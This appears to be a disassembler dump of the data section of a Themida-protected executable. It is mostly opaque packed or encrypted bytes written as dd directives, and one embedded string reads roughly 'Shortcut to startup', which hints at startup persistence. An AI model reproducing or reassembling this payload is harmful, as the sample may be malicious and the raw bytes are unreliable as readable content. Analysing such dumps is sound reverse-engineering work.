0B8A53CDAh dd 3385629Dh, 0E3858BAEh, 0DDBFE5D1h, 4BEFB55Fh, 7FA20EDBh dd 21BF4198h, 8E12371Ch, 36739513h, 0B098FE5Dh, 0D1898E13h dd 2AE58B52h, 0F31AD8FBh, 3395886Dh, 6E1402EAh, 0BE946944h dd 0D7237127h, 68427458h, 362C08F6h, 3394694Fh, 60C19CDFh dd 3395886Dh, 6E1402EAh, 0BE946944h, 0D73E6227h, 68427458h dd 6591E1F6h, 339188BFh, 0F0CFABABh, 17E5028Bh, 17D50AEEh dd 33919771h, 0F0C7CDBAh, 0B8C83A70h, 222400B8h, 6491E1A4h dd 33918843h, 0F0CEABD5h, 17ED02B5h, 17D50A71h, 339196BEh dd 0F0C6CC5Dh, 0C916C798h, 69B82B48h, 0AE1AE345h, 36738F10h dd 33FB4B61h, 33926325h, 6BB18BBAh, 7718D39Eh, 77108F8Ah dd 338D8F73h, 63D18BABh, 2A144716h, 25971D44h, 0BFF7986Dh dd 0FA0C0262h, 9B946959h, 6F1584AAh, 59918B53h, 3079DDABh dd 13918BD5h, 0BACF48B4h, 0B295AF01h, 2895AFFEh, 75918B5Dh dd 0D58948F8h, 1BA5A90Eh, 8E1287DCh, 36739810h, 51584EAh dd 59918B75h, 3079DBBAh, 13918B5Dh, 0BAC948F6h, 0B295AF13h dd 2B95AFEFh, 73918BD5h, 0E91C48BAh, 3C48F80Ch, 33918E32h dd 0D8FE345Dh, 0CF7881D2h, 53918B54h, 0E41B7320h, 149135B4h dd 207889EAh, 0AD918B75h, 4556C241h, 9AAD9DDFh, 22A80881h dd 7440EFD8h, 0B61CA0EBh, 367418E7h, 0DBC48B80h, 33918B76h dd 6E52D69Ah, 37B5E7D4h, 37B5CF2Fh, 33918B41h, 0EC52DEEEh dd 8E18B155h, 3673B8F7h, 33918C9Dh, 725150BAh, 56F806BEh dd 34C01625h, 0CCC88EB5h, 0B2F7777Bh, 0B6CFE70Ah, 3815842Ah dd 0B2918B74h, 0B2F7DC82h, 471484A6h, 59918BAEh, 3079DD57h dd 13918BABh, 0BACF488Bh, 0B295AF9Eh, 2E95AF31h, 75918BBAh dd 8970480Bh, 7F5CD67Fh, 5C821193h, 33919F42h, 7D0CBBD5h dd 0F3C8AF05h, 0BF9757AAh, 2F982224h, 22772BEBh, 0E210EDB0h dd 0B2F7F542h, 31938FD3h, 30D50FDAh, 3E798BEAh, 0F9918B75h dd 0C08CDD16h, 0C5A7B02Eh, 25160DFh, 33918CBFh, 0CB09F8ABh dd 0E1C9659Fh, 0E74B0A8Ch, 55CBD26Ah, 530DB33Bh, 33110E52h dd 35798BAEh, 9C918B57h, 0D1190773h, 0B3CA7356h, 3C798992h dd 3391E2F0h, 6591E1BAh, 339188B5h, 0F0CFABAEh, 17E50209h dd 17D50AAFh, 33919FD1h, 0F0C7CDEAh, 33826377h, 1B378BBAh dd 4E704FB4h, 0F7D523A7h, 0D4D99405h, 0FB463A28h, 3516842Bh dd 0BA918BEAh, 0D199BAE8h, 0BE1AD1BFh, 36738C9Ch, 35E90AC8h dd 0B69E2057h, 33918BBDh, 24DC0E5Ch, 0AC788E08h, 0B8918B77h dd 0D1954207h, 0F110ED58h, 332FAE5Ch, 0DBD78A56h, 33918BBBh dd 44C972BBh, 0C6FC6056h, 0AF32A25Eh, 0DE3EF7F9h, 0BEC801EFh dd 0D602B92Bh, 6591E152h, 33918843h, 0F0CFABD5h, 17E502B4h dd 17D50A71h, 33919CBEh, 0F0C7CD5Dh, 41497E26h, 306016DEh dd 0B59E8E49h, 33918BD9h, 339707E5h, 0A61A8B75h, 3673809Bh dd 0AEB25BA2h, 3673A847h, 0B79E4BD2h, 339189BCh, 0B10535Eh dd 3193B68Ch, 33A90E7Ah, 33FB8BBAh, 3392630Ch, 6AB18BAEh dd 7F18D294h, 77108F8Fh, 33868FF1h, 62D08BEAh, 335DCB6h dd 6E0C00F2h, 0B294697Fh, 0EF78DD6h, 0B79EF108h, 33918A41h dd 240C1E5Ch, 0B2F78E08h, 3CF1174Dh, 3391183Fh, 6191E15Dh dd 33918846h, 0F0CBAB57h, 17C502F1h, 17D50AD1h, 33919FEEh dd 0F0C3C975h, 0E210ED81h, 3F7864F2h, 0C3918BAEh, 0B28A04F9h dd 8CAF9CE6h, 0B3140013h, 3C798992h, 3391DCF0h, 844E0ABAh dd 55E9E6BFh, 3397F32Fh, 76148497h, 0B8918BABh, 0D19D1E40h dd 321162EFh, 33FB8B75h, 339263EBh, 6AB18B5Dh, 7F18D26Dh dd 77108F73h, 33898F8Fh, 62D08BD5h, 371F329h, 3C792D41h dd 0B5918BBAh, 233E420Dh, 0C708A2FFh, 5F8DF454h, 0B8F7BF92h dd 0FC1AD20Bh, 32908B54h, 121CA20Bh, 0BE9469B6h, 0D602B9D8h dd 6591E1ABh, 339188BFh, 0F0CFABABh, 17E5028Bh, 17D50AEEh dd 33919F71h, 0F0C7CDBAh, 0F810EDE3h, 0E36E665Dh, 339184BEh dd 153D31ABh, 3E9BE2FDh, 3D41C793h, 13B38D8h, 0B79E4B3Fh dd 33918BBEh, 35CC0E87h, 0B118EB5h, 43148443h, 3C918BD5h dd 4B115355h, 0B69EF870h, 33918BD9h, 0DBC08B37h, 33918BADh dd 6A52D277h, 37B5C722h, 37B5CF54h, 33918BF6h, 4252DA34h dd 0BDD8AB5Bh, 0A8651A27h, 187B482Fh, 0B79ED373h, 33918BADh dd 201C0EFCh, 4B118E08h, 0B79ED872h, 33918B20h, 0DBC28B37h dd 33918BADh, 6852D077h, 37B5D722h, 37B5CF54h, 33918BFFh dd 1D52D836h, 8E0C00B5h, 5594694Eh, 361EB32Fh, 33C80E58h dd 0BE188BABh, 36739B44h, 5B97F36Ah, 33D80E7Ah, 33FB8BBAh dd 3392630Ah, 6CB18BAEh, 4F18D494h, 77108F8Fh, 33888FF1h dd 64D68BEAh, 660016B6h, 0BA514E40h, 0D1BCF2D8h, 0FE0400ABh dd 55946976h, 0CC9AF32Ah, 231484F0h, 3C918BEAh, 287840CAh dd 81918BBAh, 0DA2C02EAh, 8B94698Ah, 33918B57h, 0FEC8EA10h dd 33A162CEh, 89F78BEAh, 32290F49h, 59918BBAh, 3079D95Dh dd 13918BAEh, 0BACB480Dh, 0B295AFFFh, 2A95AF91h, 71918BEAh dd 48D14827h, 0EA36766Fh, 34340674h, 0B8018E4Ch, 0B8F7DBAEh dd 33FB1B55h, 33926385h, 6BB18BEAh, 7718D3B6h, 77108F9Eh dd 338B8F79h, 63D18BAEh, 854B0394h, 0F98DD6EDh, 10F4365Eh dd 8E1C8E08h, 3676DB10h, 65AA0637h, 10298EBAh, 30E6EDFBh dd 0D18782D2h, 0F25EA0AEh, 32908B54h, 121CA20Bh, 0BE9469B6h dd 0D602B9D8h, 6591E1ABh, 339188BFh db 2 dup(0ABh), 83h byte_54330B db 0E9h ; DATA XREF: Themida_:004EEC4Co dd 58A4F305h, 0FC88B66h, 38Ah, 0B4E18000h, 0B1ACD80h, 83840FC0h dd 6A000000h, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 1A042444h, 42000000h, 3F1DC352h, 0DBBB0791h, 11E97Bh dd 70620000h, 0F57C71E1h, 0B8DD3344h, 4B9000FEh, 8D27A6F7h dd 0E24C42B5h, 0B3CC8A05h, 3B802h, 0E6FF0000h, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 3C35545h, 0E63B4369h dd 1870Fh, 0E8F50000h, 8, 0FCD63C95h, 8A2DC1A3h, 67C78050h dd 89405F5Bh, 0E20F9585h, 6AC08B05h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 8B7DC351h dd 0A603CDCAh, 1EA9BD83h, 750005E2h, 5BD8309h, 5E218h dd 53501974h, 3B8C08Bh, 89000004h, 0E21DD585h, 619D8D05h dd 0FF05E4B3h, 83585BD3h, 0E21805BDh, 17740005h, 3B85350h dd 89000004h, 0E21DD585h, 29D8D05h, 0FF05E4B0h, 60585BD3h dd 0D2D8D8Bh, 13E905E2h, 2C000000h, 0E891062Bh, 326E0254h dd 0C63B633Dh, 0E69FF97Fh, 0F61E0A6h, 0A87h, 95896000h dd 5E21889h, 0F616160h, 680h, 0CAF38100h, 8B405A87h, 95BD31C0h dd 6605E20Fh, 260EF781h, 712ADE61h, 4B46D4D4h, 557F01DCh dd 525CD4C8h, 0B336398h, 2633A9A9h, 265AF198h, 2C7AEF5Eh dd 4E60307Ah, 0A5E4FFB4h, 3092F867h, 0A3BEA37Ah, 23D629F9h dd 0A3BA7967h, 23D1C3D1h, 3A92D71Bh, 2933307Ah, 2633831Dh dd 0E4B6C098h, 763641CFh, 7187D615h, 0D963AC7Fh, 0C4249D0Dh dd 2664839Dh, 23593598h, 71F71F15h, 0AB63487Fh, 0C164121Dh dd 0B3CC039Dh, 23D1B8B5h, 0A23C1493h, 26336AA1h, 71F7B015h dd 0CE639F7Fh, 26334DAAh, 0A3BEF6D8h, 23D40452h, 0E2B624C8h dd 763633CFh, 0A1AFF67h, 0E2B0307Ah, 0E2B61794h, 7636AACFh dd 71872315h, 0D963567Fh, 0C424E00Dh, 26513D9Dh, 0AD666A98h dd 74646474h, 2E4E11CEh, 24DA8DABh, 6633A698h, 260CD3DFh dd 0D9C62C97h, 0EF002B67h, 0CF3B1713h, 263335B2h, 31B948ABh dd 0AD03A718h, 0AD63E868h, 2C88005Ah, 0CF33A998h, 2633D49Bh dd 0A57D896Fh, 0A13C3566h, 0D9CC656Ch, 7EFB4EC3h, 0E638EEDFh dd 0D9FDD697h, 0E7B85667h, 7F6C8EC6h, 2637A851h, 71818815h dd 0ABBE9F7Fh, 23D4157Fh, 9320h, 0E7FC7800h, 7310271h dd 0C783C8D0h, 850F4904h, 0FFFFFFF2h, 58E7B58Dh, 8D8D05E7h dd 5E75906h, 0E983CF2Bh, 0E8C88B05h, 7, 920A198h, 891CB915h dd 0E210919Dh, 81665F05h, 814F98D8h, 6F9FC7h, 14E900h dd 9F150000h, 48D73162h, 31DBD9AFh, 0DCE44ACEh, 0E3D96755h dd 0B3BA43A5h, 8B00001Bh, 0E20B458Dh, 0F1F8B05h, 280h dd 810CB000h, 0D055A1C3h, 81EB8A2Bh, 2E5B27F3h, 11E807h db 2 dup(0) word_54361E dw 7D3h ; DATA XREF: Themida_:004EFE58o dd 9046D35Dh, 7A7C8011h, 0FA08BD57h, 0B03DCE3Ah, 0C3815E2Bh dd 4DDD521Ch, 8935F180h, 0FDBD891Fh, 8105E200h, 231AC7EFh dd 0B9B53108h, 8105E218h, 231AC3C7h, 498D0308h, 8105E215h dd 1EAh, 13850F00h, 8B000000h, 0E2210985h, 29E905h, 0E8700000h dd 0ADF7784Dh, 10E9CFA2h, 0F1000000h, 2E96C670h, 7851D166h dd 0B32FD9EBh, 0E9663E2Ch, 0FFFFFF6Dh, 0DAC255A9h, 0E8571CF8h dd 0Fh, 4F576C92h, 0F7B62DB5h, 0AF0232Bh, 2B2AAC7Eh, 0E21B7985h dd 880F5905h, 5, 0BAF28166h, 73C181E6h, 0E900005Bh, 13h dd 891D649Bh, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h, 2BD02FE0h dd 0C1BF0FDBh, 89193C8Bh, 0E21745BDh, 0A5C78105h, 8B227205h dd 0E21A3985h, 0ADEF8105h, 89526EA5h, 0E21601B5h, 0D8F78105h dd 572812F8h, 1F29958Bh, 48F05E2h, 8D858B19h, 8105E217h dd 54B30DEBh, 0F7B70F08h, 0B309C381h, 81F90854h, 0FFA52CFBh dd 0AD850FFFh, 0FFFFFFFh, 68Eh, 0AD958B00h, 8D05E21Dh dd 0E75BAA8Dh, 51006A05h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1704h, 0C3514100h, 23151B83h, 7E9h, 0A5ABEB00h dd 1EBA4C5Bh, 6E9h, 343D5D00h, 8940991Dh, 0E20BE98Dh, 52006A05h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 3ED8611Bh, 12A590FAh, 25BBF0EEh, 0C72D725Fh, 0E2076185h dd 6E9C05h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0EB80530Ch, 5585C7B7h, 5E21Bh, 66000000h dd 272CD281h, 21FDB5FFh, 6A05E2h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 1C0424h, 51410000h, 526206C3h, 0E7E68EFDh dd 8D897841h, 5E20941h, 0B1595FFh, 6A05E2h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0BA9230C3h dd 0A2FF5264h, 81666B79h, 608F2FDEh, 20E28166h, 2D858947h dd 6105E215h, 10719D2Bh, 6A05E2h, 0AB995FFh, 0C08B05E2h dd 48957BEBh, 5030FCFDh, 0C39D4F3h, 66832669h, 0C498DFDCh dd 0EB7C1F66h, 0BDAECEADh, 0C7874F59h, 0B7D9A354h, 64D857EFh dd 40FD0478h, 4B5F6341h, 7226A604h, 8839180Ch, 8C00AA69h dd 4AF79F50h, 554CCCE3h, 78E22797h, 0C5FDD3E2h, 304A1289h dd 0C71C48FEh, 0F01F0A13h, 48ED0D36h, 0F0FE2825h, 0BFAF7E5Fh dd 0FE5BFF01h, 0A8743141h, 9E427F89h, 0FFAF3E07h, 0F4D25539h dd 5A703542h, 536CEB5Fh, 74726F68h, 20747563h, 73206F74h dd 74726174h, 7075h, 13h dup(0) dd 3C000000h, 17CE622h, 0E9000000h, 0FBAh, 0E75E3968h dd 0F126E905h, 2568FFFBh, 0E905E75Fh, 0FFFBF11Ch, 0E7612168h dd 0F112E905h, 6068FFFBh, 0E905E761h, 0FFFBF108h, 0E7620368h dd 0F0FEE905h, 0C468FFFBh, 0E905E762h, 0FFFBF0F4h, 0E7675E68h dd 0F0EAE905h, 368FFFBh, 0E905E76Ah, 0FFFBF0E0h, 0E76AF268h dd 0F0D6E905h, 8BE6FFFBh, 55D11130h, 18996908h, 0E05CA2C5h dd 0A102FC83h, 0DE513B5Eh, 93B6096Ah, 0EF72CF2Fh, 26499413h dd 640B58D8h, 1CDF720Eh, 1A00658h, 8F114823h, 738E2632h dd 0A5EDB388h, 78F4CEADh, 0EAD44D2Bh, 71CE288Ah, 0F60B2506h dd 0A5EDB405h, 0CC64492Ah, 0FF3A85E2h, 0C96302EEh, 0FF3A87E7h dd 0FC6002EEh, 6F51E987h, 6647B20Fh, 0D2A9F78Ah, 0FAC4ABCFh dd 3642277Ch, 9A156AC8h, 0DBB6EFC9h, 0A00B961Ch, 9552F6A3h dd 9A76CB2Bh, 0E8F39894h, 5DDA0583h, 3C704CEBh, 23F7634Dh dd 0F8000000h, 0C652294Dh, 0CFCBD1ABh, 0C6A54ABh, 0C8A7D2B7h dd 0A00B9B2Bh, 9261E752h, 83E8FD9Ah, 0BC3Bh, 8F118C00h dd 78FBC732h, 64C4EA25h, 4EAE901Fh, 0A7F867F1h, 0ACAACAD0h dd 0A354E987h, 88A5ED95h, 11BCCDABh, 0A5ED9A31h, 0B7C11E9Eh dd 1C9BE649h, 0FEC0614Fh, 94F6217Eh, 801D3B50h, 0ABCFC250h dd 7781A083h, 27C7DAE8h, 0FDAF3AE4h, 7C2738D2h, 4FDDBB7Dh dd 92EF7127h, 830E51D0h, 1BB3DDA2h, 0EF8D6E83h, 0B192A00Ah dd 0A2A74AE7h, 8360A5EFh, 55A80BF5h, 106BCC32h, 4FECCA85h dd 96CB2E7Ch, 0D67h, 0EF72CD28h, 274A9713h, 60075ADBh dd 0BADD229Eh, 0F998E344h, 53D4609Fh, 19996908h, 0DE5DA5C4h dd 0A202FC83h, 38503A5Dh, 655D2A5h, 827557A0h, 2C338E11h dd 6A0D52D2h, 0F979479Dh, 36BECCA4h, 0B89DE240h, 0CB7B7D90h dd 0DDBEABCFh, 9B383F52h, 124FA00Bh, 0FDA7E76Eh, 8A7483E8h dd 26BBD52Ah, 0A00BA755h, 3B1FF9DAh, 0D7h, 338EEDD3h, 8F119265h dd 78FBC732h, 2960BB38h, 98C04B14h, 42307BC3h, 675F327Dh dd 48A5ED2Eh, 0D72C86E8h, 11936FF2h, 0BD2145CCh, 0BD17AAC6h dd 10ABCF55h, 106ED02Eh, 826744B3h, 0CE513617h, 253348ACh dd 0F287708Dh, 0CFACA00Ah, 283449E1h, 0C3A5EFA2h, 56648E0h dd 1FA596C6h, 11F65997h, 0A72FB00Eh, 25D3710Ah, 9863FE9Ah dd 9D9A25D3h, 14F9DABEh, 5055D081h, 88F9307Ch, 0C7Bh, 0C366B934h dd 1B3E83FFh, 54FB46A7h, 0AEB10E6Ah, 0ED8CCF50h, 37B80C83h dd 0FD7D45E4h, 0C22181A0h, 86E6D87Fh, 243C1639h, 654EE89h dd 665133A0h, 0E9922F47h, 4EA5EDB3h, 3ABD836Dh, 9DFF8E9Bh dd 5237915Ch, 2C71F3CFh, 0A651EC04h, 8BA5ED5Ah, 7E439B5h dd 11AF1829h, 0FBC7328Fh, 0EB052479h, 715FA205h, 8BED8BD3h dd 671CC2Bh, 0D5634025h, 0CFD05CB8h, 9A374FABh, 0A00B96E1h dd 0BB8B6546h, 0F9C751D8h, 304D2B76h, 0A00B9643h, 28962E7Ah dd 1ADD70CBh, 1FA00B97h, 671D543Ch, 327055FAh, 0F2D5E337h dd 0E9141826h, 13BD83E8h, 5D000000h, 0D7B01193h, 88F6AA75h dd 2D0AE6CBh, 91260h, 294D5700h, 2B365A2Eh, 0C3A0538Dh dd 624018B5h, 8BA3ABCFh, 0B308576h, 0AC4FE2A0h, 71A00B30h dd 8EDCE92h, 0A93FA181h, 0B306314h, 1BEBC8A0h, 0F6D7429Fh dd 30B00E11h, 54C9A4D3h, 33074F53h, 0AAF777B7h, 9F324AC5h dd 38C70CDCh, 1F806241h, 931E63C1h, 39A2EDB2h, 3966BA4Eh dd 0F97BBA4Eh, 0BB3D85A4h, 0A0542B66h, 3538C70Ch, 0F375C044h dd 0B85D82AEh, 0FDB5EFA3h, 39899870h, 7FF416B7h, 770F5C3Dh dd 68086792h, 3538C6C6h, 33B58004h, 0F5774BEEh, 0D91D61A8h dd 0D17E96A2h, 91EC1BCDh, 16F5D035h, 48CF754Ch, 40F08D6Bh dd 1B3EA9B3h, 380A57D5h, 142960BBh, 0E88F6C3Ch, 7A44AB9Dh dd 0B8CAA6F9h, 0CF315F34h, 0C2E32E73h, 7DC35EF6h, 3838C780h dd 9254C95Bh, 3B0B144Ch, 18B0D8B3h, 222B7FB7h, 7B554868h dd 0D3D846E6h, 54E90154h, 490FABA3h, 0FDCDAB88h, 0AB3F3855h dd 7E4490Fh, 539DF722h, 9DAF89D4h, 0FB162259h, 4EF5265Dh dd 238DAB88h, 740000C1h, 7137121h, 2A0B11EAh, 50351643h dd 7A44EC73h, 5469A0FBh, 0ED32B27Ch, 4C1EA3BEh, 0C7B8F1D3h dd 0A7Fh, 0C76AB530h, 1F227FFBh, 58FF42A3h, 92B50A66h dd 0D170CB2Ch, 3BBC0887h, 16141E0h, 0C6259DBCh, 8AEAD47Bh dd 20381235h, 652EA8Dh, 9A6D4FA0h, 0DB328F11h, 7088760Ah dd 409AD722h, 7100000Ah, 3886A9F4h, 0E0DE61BEh, 0A71B3E81h dd 6D55F449h, 0B890B70Ah, 2D70F347h, 0E936B40Ah, 0A0FB7846h dd 62BF2181h, 46DB77DFh, 0A00652B5h, 11AF987Ah, 0FBC7328Fh dd 28D36E78h, 0DA5EDB3h, 5326492Eh, 0C03C82E9h, 39173463h dd 0A0C8C32Bh, 0CFBCAF0Dh, 0A52A42ABh, 815A561Bh, 46315CCEh dd 0F5A00B97h, 0DFEC2B76h, 6E3E1AF9h, 3A02178Dh, 3F61C8F1h dd 19B4DCB7h, 0E430538Fh, 84E611F2h, 0F00D2B60h, 0DE51A264h dd 3A84AC8Fh, 0E8932EBAh, 4DD286ADh, 18E6896Eh, 1DD04B98h dd 2343EF7Ch, 99D99D6h, 97120000h, 61DD2544h, 24857D1Ch dd 0EC48B6D9h, 0AD0EF097h, 2A65CF52h, 0BFC21D9Eh, 0FB9EE343h dd 3255A807h, 70176CCCh, 8F30E1Ah, 2DA00652h, 8F117C4Fh dd 15ADC732h, 0EDB3FFF8h, 694724A5h, 6BC82887h, 0E7C49910h dd 0B3AA2D40h, 0E90DA5EDh, 1C03C5EEh, 0DD2BC7Bh, 4EF0FC63h dd 0E4E2E631h, 7A563B88h, 0B0D44FE2h, 0CAA9ABD4h, 4EA816AEh dd 0C7328DECh, 0B59601E6h, 0CF117AACh, 2EE2E0Fh, 0FE7ABC3Ch dd 705576A1h, 328F11D1h, 0B329B926h, 8DC4B078h, 0E3446AA3h dd 75BDBED3h, 8162A006h, 0E17C94BCh, 0A0067616h, 753D3E53h dd 1E2A006h, 3D745C3Fh, 306BB635h, 766FB347h, 0DC6F2049h dd 0D5000008h, 9C620558h, 44BADD22h, 0BF79AE5h, 0F13150ADh dd 240C136Eh, 81DC5FEBh, 5DA200FEh, 1467C43Ah, 0D62B8D75h dd 324FDBB3h, 0A0065149h, 113B0CEEh, 0FBC7328Fh, 65ED2479h dd 43A57014h, 7F8A3E82h, 0AC711CD6h, 7DFC638Dh, 0C1A5AC9Bh dd 3773AE4h, 0AED3CE42h, 0A0850C4Fh, 434BF5C3h, 0D089CAF7h dd 0C43390EEh, 0C84D09E7h, 92000005h, 0EC4F294Dh, 0DD22D8Ch dd 0B4DCA182h, 0D50F8619h, 0EB4DB3ABh, 6E4A1B96h, 2D93BD9Eh dd 0B3D376CBh, 4E256C2Fh, 1972C3F8h, 4ACA156Dh, 1AB15B4Eh dd 52D1AAC7h, 7556269Ah, 0FB81B890h, 0D926806Eh, 9DA38D5Eh dd 0A77B091h, 4E32h, 9314DA00h, 716D3034h, 0C7A4EB99h dd 2D4D0EE9h, 0B3EF8825h, 5734A5EDh, 604EE672h, 0BFD2BE01h dd 0A5EDB3BCh, 7B7C9129h, 0A0A5EDB3h, 3984E3C3h, 2303EDFEh dd 1BAC940h, 0CC65516h, 0E824AF55h, 896963AEh, 7, 2A7605Eh dd 4D570000h, 99C65229h, 810AEE1Bh, 227FE1E2h, 27F1D6F7h dd 0A799F20Fh, 0DDBEABD4h, 5A592CB3h, 0C5F6F828h, 366516ABh dd 0E9CAA006h, 0FDFB960Fh, 90A00636h, 2ACD60F8h, 0FA00636h dd 770D442Ch, 69077CE0h, 35BBBCD1h, 0FD1FA006h, 9372463h dd 77412206h, 1D4942DFh, 2D0EA5EDh, 0E833B40Ah, 22BFD7A1h dd 9A1E6359h, 2D13FDDEh, 933877CAh, 2B4320A4h, 1E63E596h dd 0CEF029Ah, 119A1E64h, 0D48D6E32h, 0D0549755h, 0FDC3ADD8h dd 0F109277Ah, 2752AF0Fh, 0D28C6F06h, 0B2919A1Dh, 0FB7B47E6h dd 0F9116BA6h, 1DD29364h, 0DDBB989Ah, 0F329313h, 136ECFD6h dd 56EB8B32h, 62D4A73Ah, 7A599A1Eh, 86F11A95h dd 1D9B6502h, 0A806E8C0h, 0B297EC46h, 8F30EA6h, 2D9A1E63h dd 0A9C3624Eh, 62FBFC11h, 43209A1Eh, 6335D875h, 0B3309A1Eh dd 77F9C968h, 7D95EF2Ah, 4BEA37B3h, 9A1E62B0h, 0FDBA9675h dd 9B6E2D4Dh, 0AAFA47A7h, 6F946A4h, 0D97122D3h, 0CE499417h dd 5AA705FDh, 0B241C77Eh, 89CB157Ah, 89728F27h, 0AEA5EDBFh dd 77E3CDh, 78000004h, 0E24F8E11h, 82D0A196h, 89E32EF3h dd 0DF79C427h, 0ED3BB942h, 0B39D7EA5h, 433A9646h, 0AAF576BDh dd 65B83B87h, 0F14EAC92h, 25DB123Eh, 26328DEEh, 3B88738Eh dd 0CEADA5EDh, 38B8BEE2h, 2634DEBh, 855370BFh, 3B83710Ch dd 33B0A5EDh, 1E81A1E8h, 5D0B54C3h, 0E46AAC61h, 38CC6543h dd 3BC1B8E0h, 42B78F8h, 0A13C54ECh, 0A5ECD9D6h, 22D5785Bh dd 7A5ECDAh, 5624C24h, 0BCFB46A7h, 97C9B6AFh, 0F98B3CE8h dd 33B27C14h, 0FA8900E8h, 0A5ED61FEh, 0FF36CA8Fh, 0F71A3D80h dd 0A5ED6E78h, 0B3A1EC96h, 294289CAh, 95FFFFFFh, 7F6E1847h dd 8BC0B4B3h, 1C61C3ADh, 0D72C8A74h, 9CAD8B58h, 327DC222h dd 0ECC4F55Ah, 7FBDC0E3h, 0A7F8FC91h, 0A29BA5EDh, 4895171Eh dd 0DA778F29h, 0A5EDA821h, 654B2506h, 1D70BF02h, 766148C3h dd 0C03A849Ch, 0C15C3463h, 0D57A0536h, 5D3B18FBh, 999560E4h dd 3AB95767h, 75h, 52294D8Dh, 6813AEC6h, 0CDA5EDB3h, 0D76A02EEh dd 0ABD510B4h, 5324B9D1h, 0D8A00657h, 6E4D1DFBh, 6674923h dd 816F7CBBh, 6580CECh, 38CC85A0h, 0E3AF71BDh, 2B1283h dd 42A50000h, 0A5EDBE89h, 0E03BB806h, 0EDA8AA4Dh, 4AE78FA5h dd 0A5EDA8B1h, 0CEB09576h, 0C5E6116Eh, 0FD716FE0h, 6046FFFFh dd 11h, 2916057h, 0A6080000h, 0ABB8F74Ch, 29075ADBh, 2F8F114Eh dd 60AF8CD1h, 0FE81DE5Eh, 0D563185Ch, 0CFD264B8h, 0C5211FABh dd 0AE313178h, 22072453h, 0B8BFD25Dh, 0CFA00B94h, 2767EE92h dd 0C883E8F2h, 20h, 52294D1Fh, 0CBD1ABC6h, 7754ABCFh, 9B8E6538h dd 7831A00Bh, 0FCFD31C4h, 0E2A683E8h, 29000000h, 0E4798F11h dd 0A5EDB413h, 0DB563B18h, 0CE499417h, 0F42380E0h, 8FD4529Ch dd 0E5432300h, 6ECEB098h, 0B5B96E6Dh, 896E8053h, 7E7B4BE6h dd 0D454A5EDh, 224AE88Fh, 49B7CF69h, 0A6BB95E8h, 0ABD22538h dd 31CA67FFh, 0E8A008C4h, 0EFFC3B88h, 2BCC6109h, 0F0A008C4h dd 82624E13h, 0B2FD42BCh, 0ED3308Ch, 3EA10F29h, 0A70A55E3h dd 0BBBCD17Fh, 60A00959h, 3BCBC283h, 86F14CABh, 59E8C0A5h dd 126FF13Fh, 2F9DC6E7h, 514B76C9h, 0F3743A16h, 2E8E7DA8h dd 1F9A766Dh, 44222h, 0AFF24F00h, 67BC3688h, 3C7FFEC0h dd 0FA47A51Dh, 0B5086B57h, 0F145BA92h, 0B20C136Eh, 7648EF34h dd 3F83A6F9h, 75C160BDh, 4CB740DDh, 9E7CA006h, 2E8E11ADh dd 5D028DD2h, 0C0A72700h dword_544450 dd 351AFF97h, 0EA4CAC12h, 0CB6E3390h, 328F11FEh, 2479FBC7h ; DATA XREF: ___:off_43BFBCo dd 1877C30Ch, 1DD8403Ah, 6CF01233h, 7EE17917h, 70BDEA64h dd 902D4BD7h, 0A5ECB6E7h, 0EC816F4Ch, 0ABCED544h, 12DC7457h dd 376E4A95h, 0A989D58h, 0C11E98A0h, 0D8A33E56h, 5DA00A98h dd 0DB28847Eh, 0CEA9C45Ch, 53A00A98h, 0BB18870h, 8BC8D15h dd 0C419955Bh, 0F290784Dh, 0EA07116Ah, 0A5ECB74Ah, 0DF98355Dh dd 3B9A287Ah, 0ECC81499h, 4E7C926h, 8360BB3Ah, 54A90BF5h dd 2549ED7Ch, 0F4AFC26Eh, 89A00F5Bh, 0C1208EAAh, 0C9B4DB7Eh dd 7C9440A3h, 0E343A1FFh, 0D2F33E83h, 0BE00280Dh, 7716E23Dh dd 60FAh, 2F47F100h, 0EDB3E992h, 836D4EA5h, 0EDB409EEh dd 740F54A5h, 8E23BBD5h, 0A5EDB3EDh, 0B9875132h, 0D7AAE538h dd 0A5EDB424h, 0A3721643h, 0E51FF42h, 65499038h, 0FDFE1396h dd 22A5ED4Fh, 0B9D47C41h, 0A5ED4FBEh, 99A88063h, 3877CA29h dd 0ED4F8F65h, 0C77D3CA5h, 4AE7EF4Ch, 0A5ED4FB1h, 91B09576h dd 0F6794758h, 715F6CABh, 0A2ED308Fh, 60C11F9Ch, 0ECB1921Dh dd 0DC219DA5h, 0D5A63B55h, 5AA5EDB3h, 0D72A8979h, 0F197C258h dd 0EE92E73Fh, 768C827h, 1DB0D7B4h, 0A5EDC6DCh, 0BB98E543h dd 0CAFD848Bh, 0FF5C2D89h, 47B2FFFFh, 9FD4B318h, 7055DC21h dd 5ED2DFEFh, 0D72C8C72h, 0AAF777B9h, 96B57CEh, 0ED7195B4h dd 3967FA96h, 7CABCFA3h, 75FA4D3h, 230D4332h, 5A296043h dd 0A00AB89Dh, 0D36920h, 83E8160Ch, 25B5h, 294D3A00h, 0D1ABC652h dd 54ABCFCBh, 8E653877h, 31A00B9Bh, 0FD31C478h, 9A83E8FCh dd 0A18FD454h, 0DEB5h, 18473A00h, 0E34A7967h, 1FB2DEB8h dd 0A5EDB25Ch, 2816E2C1h, 323C7BC8h, 49236EB1h, 0C9B90467h dd 743A166Bh, 860AFF4h, 0BEF946A6h, 7BFDC3ADh, 2A65B83Bh dd 0D21C3419h, 1F2E0A55h, 0EDB7D2F0h, 207DFFA5h, 0AB09F701h dd 2C41DB56h, 0A5EDAE4Bh, 422EF3D0h, 68A7FC7Ch, 9FB9D21Ah dd 0CFCC4A02h, 8BAE8DABh, 0C3B4C961h, 76A00B90h, 586DA4F7h dd 0AFBD9B78h, 8C244C47h, 9E7AC522h, 0F0445583h, 95A380A5h dd 3A75C82Bh, 0DD2CCF62h, 12F19A26h, 0E5CB634Dh, 0A6183F82h dd 0EAA3FA45h, 0D27C4F4Bh, 19DEAA7h, 97120000h, 61DD2544h dd 24857D1Ch, 